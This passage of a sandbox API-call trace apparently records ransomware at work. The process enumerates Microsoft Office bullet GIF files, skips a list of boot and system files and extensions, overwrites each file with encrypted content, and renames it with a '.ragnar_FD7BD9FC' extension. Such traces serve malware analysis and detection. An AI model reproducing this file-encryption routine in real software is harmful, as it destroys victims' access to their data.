Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14514_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14514_.GIF" [0097.963] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14514_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14514_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14514_.GIF.ragnar_FD7BD9FC" [0097.963] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14514_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14514_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14514_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14514_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0098.084] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb91d2700, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc8dfee0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb91d2700, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14515_.GIF", cAlternateFileName="")) returned 1 [0098.084] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0098.085] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD14515_.GIF" | out: lpString1="BD14515_.GIF") returned="BD14515_.GIF" [0098.085] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14515_.GIF") returned=".GIF" [0098.085] lstrcmpiW (lpString1="BD14515_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0098.085] lstrcmpiW (lpString1="BD14515_.GIF", lpString2="autorun.inf") returned 1 [0098.085] lstrcmpiW (lpString1="BD14515_.GIF", lpString2="boot.ini") returned -1 [0098.085] lstrcmpiW (lpString1="BD14515_.GIF", lpString2="bootfont.bin") returned -1 [0098.085] lstrcmpiW (lpString1="BD14515_.GIF", lpString2="bootsect.bak") returned -1 [0098.085] lstrcmpiW (lpString1="BD14515_.GIF", lpString2="bootmgr") returned -1 [0098.085] lstrcmpiW (lpString1="BD14515_.GIF", lpString2="bootmgr.efi") returned -1 [0098.085] lstrcmpiW (lpString1="BD14515_.GIF", lpString2="bootmgfw.efi") returned -1 [0098.085] lstrcmpiW (lpString1="BD14515_.GIF", lpString2="desktop.ini") returned -1 [0098.085] lstrcmpiW (lpString1="BD14515_.GIF", lpString2="iconcache.db") returned -1 [0098.085] lstrcmpiW (lpString1="BD14515_.GIF", lpString2="ntldr") returned -1 [0098.085] lstrcmpiW (lpString1="BD14515_.GIF", lpString2="ntuser.dat") returned -1 [0098.085] lstrcmpiW (lpString1="BD14515_.GIF", lpString2="ntuser.dat.log") returned -1 [0098.085] lstrcmpiW (lpString1="BD14515_.GIF", lpString2="ntuser.ini") returned -1 [0098.085] lstrcmpiW (lpString1="BD14515_.GIF", lpString2="thumbs.db") returned -1 [0098.085] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0098.085] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0098.085] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0098.085] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0098.085] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0098.085] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0098.085] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0098.085] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14515_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14515_.gif")) returned 0x20 [0098.085] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14515_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14515_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0098.086] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=179) returned 1 [0098.086] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xaa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.086] GetProcessHeap () returned 0x580000 [0098.087] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0098.087] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0098.087] VirtualAlloc (lpAddress=0x0, dwSize=0xb3, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0098.088] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.088] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0098.088] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xb3, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xb3, lpOverlapped=0x0) returned 1 [0098.088] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0098.088] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xb3, nNumberOfBytesToLockHigh=0x0) returned 1 [0098.088] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xb3, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xb3, lpOverlapped=0x0) returned 1 [0098.088] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xb3, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0098.088] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0098.088] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xb3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.088] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0098.088] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0098.089] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0098.089] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0098.089] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0098.089] GetProcessHeap () returned 0x580000 [0098.089] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0098.089] CloseHandle (hObject=0x10c) returned 1 [0098.089] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14515_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14515_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14515_.GIF" [0098.089] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14515_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14515_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14515_.GIF.ragnar_FD7BD9FC" [0098.089] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14515_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14515_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14515_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14515_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0098.091] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd05b1500, ftCreationTime.dwHighDateTime=0x1bd8f8e, ftLastAccessTime.dwLowDateTime=0xbc8dfee0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd05b1500, ftLastWriteTime.dwHighDateTime=0x1bd8f8e, nFileSizeHigh=0x0, nFileSizeLow=0x111, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14528_.GIF", cAlternateFileName="")) returned 1 [0098.092] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0098.092] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD14528_.GIF" | out: lpString1="BD14528_.GIF") returned="BD14528_.GIF" [0098.092] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14528_.GIF") returned=".GIF" [0098.092] lstrcmpiW (lpString1="BD14528_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0098.092] lstrcmpiW (lpString1="BD14528_.GIF", lpString2="autorun.inf") returned 1 [0098.092] lstrcmpiW (lpString1="BD14528_.GIF", lpString2="boot.ini") returned -1 [0098.092] lstrcmpiW (lpString1="BD14528_.GIF", lpString2="bootfont.bin") returned -1 [0098.092] lstrcmpiW (lpString1="BD14528_.GIF", lpString2="bootsect.bak") returned -1 [0098.092] lstrcmpiW (lpString1="BD14528_.GIF", lpString2="bootmgr") returned -1 [0098.092] lstrcmpiW (lpString1="BD14528_.GIF", lpString2="bootmgr.efi") returned -1 [0098.092] lstrcmpiW (lpString1="BD14528_.GIF", lpString2="bootmgfw.efi") returned -1 [0098.092] lstrcmpiW (lpString1="BD14528_.GIF", lpString2="desktop.ini") returned -1 [0098.092] lstrcmpiW (lpString1="BD14528_.GIF", lpString2="iconcache.db") returned -1 [0098.092] lstrcmpiW (lpString1="BD14528_.GIF", lpString2="ntldr") returned -1 [0098.092] lstrcmpiW (lpString1="BD14528_.GIF", lpString2="ntuser.dat") returned -1 [0098.092] lstrcmpiW (lpString1="BD14528_.GIF", lpString2="ntuser.dat.log") returned -1 [0098.092] lstrcmpiW (lpString1="BD14528_.GIF", lpString2="ntuser.ini") returned -1 [0098.092] lstrcmpiW (lpString1="BD14528_.GIF", lpString2="thumbs.db") returned -1 [0098.092] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0098.092] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0098.092] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0098.092] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0098.092] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0098.092] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0098.092] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0098.092] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14528_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14528_.gif")) returned 0x20 [0098.092] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14528_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14528_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0098.093] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=273) returned 1 [0098.093] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x108, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.093] GetProcessHeap () returned 0x580000 [0098.093] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0098.093] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0098.094] VirtualAlloc (lpAddress=0x0, dwSize=0x111, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0098.094] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.094] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0098.094] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x111, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x111, lpOverlapped=0x0) returned 1 [0098.094] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0098.095] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x111, nNumberOfBytesToLockHigh=0x0) returned 1 [0098.095] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x111, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x111, lpOverlapped=0x0) returned 1 [0098.095] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x111, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0098.095] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0098.095] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x111, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.095] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0098.095] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0098.095] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0098.095] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0098.095] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0098.095] GetProcessHeap () returned 0x580000 [0098.095] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0098.095] CloseHandle (hObject=0x10c) returned 1 [0098.095] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14528_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14528_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14528_.GIF" [0098.096] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14528_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14528_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14528_.GIF.ragnar_FD7BD9FC" [0098.096] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14528_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14528_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14528_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14528_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0098.096] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd18c4200, ftCreationTime.dwHighDateTime=0x1bd8f8e, ftLastAccessTime.dwLowDateTime=0xbc8dfee0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd18c4200, ftLastWriteTime.dwHighDateTime=0x1bd8f8e, nFileSizeHigh=0x0, nFileSizeLow=0x112, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14529_.GIF", cAlternateFileName="")) returned 1 [0098.096] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0098.096] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD14529_.GIF" | out: lpString1="BD14529_.GIF") returned="BD14529_.GIF" [0098.096] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14529_.GIF") returned=".GIF" [0098.096] lstrcmpiW (lpString1="BD14529_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0098.097] lstrcmpiW (lpString1="BD14529_.GIF", lpString2="autorun.inf") returned 1 [0098.097] lstrcmpiW (lpString1="BD14529_.GIF", lpString2="boot.ini") returned -1 [0098.097] lstrcmpiW (lpString1="BD14529_.GIF", lpString2="bootfont.bin") returned -1 [0098.097] lstrcmpiW (lpString1="BD14529_.GIF", lpString2="bootsect.bak") returned -1 [0098.097] lstrcmpiW (lpString1="BD14529_.GIF", lpString2="bootmgr") returned -1 [0098.097] lstrcmpiW (lpString1="BD14529_.GIF", lpString2="bootmgr.efi") returned -1 [0098.097] lstrcmpiW (lpString1="BD14529_.GIF", lpString2="bootmgfw.efi") returned -1 [0098.097] lstrcmpiW (lpString1="BD14529_.GIF", lpString2="desktop.ini") returned -1 [0098.097] lstrcmpiW (lpString1="BD14529_.GIF", lpString2="iconcache.db") returned -1 [0098.097] lstrcmpiW (lpString1="BD14529_.GIF", lpString2="ntldr") returned -1 [0098.097] lstrcmpiW (lpString1="BD14529_.GIF", lpString2="ntuser.dat") returned -1 [0098.097] lstrcmpiW (lpString1="BD14529_.GIF", lpString2="ntuser.dat.log") returned -1 [0098.097] lstrcmpiW (lpString1="BD14529_.GIF", lpString2="ntuser.ini") returned -1 [0098.097] lstrcmpiW (lpString1="BD14529_.GIF", lpString2="thumbs.db") returned -1 [0098.097] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0098.097] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0098.097] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0098.097] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0098.097] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0098.097] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0098.097] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0098.097] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14529_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14529_.gif")) returned 0x20 [0098.097] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14529_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14529_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0098.098] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=274) returned 1 [0098.098] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x109, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.098] GetProcessHeap () returned 0x580000 [0098.098] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0098.098] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0098.099] VirtualAlloc (lpAddress=0x0, dwSize=0x112, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0098.099] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.099] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0098.099] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x112, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x112, lpOverlapped=0x0) returned 1 [0098.099] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0098.099] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x112, nNumberOfBytesToLockHigh=0x0) returned 1 [0098.099] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x112, lpOverlapped=0x0) returned 1 [0098.100] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x112, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0098.100] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0098.100] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x112, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.100] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0098.100] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0098.100] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0098.100] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0098.100] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0098.100] GetProcessHeap () returned 0x580000 [0098.100] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0098.100] CloseHandle (hObject=0x10c) returned 1 [0098.100] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14529_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14529_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14529_.GIF" [0098.100] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14529_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14529_.GIF.ragnar_FD7BD9FC") 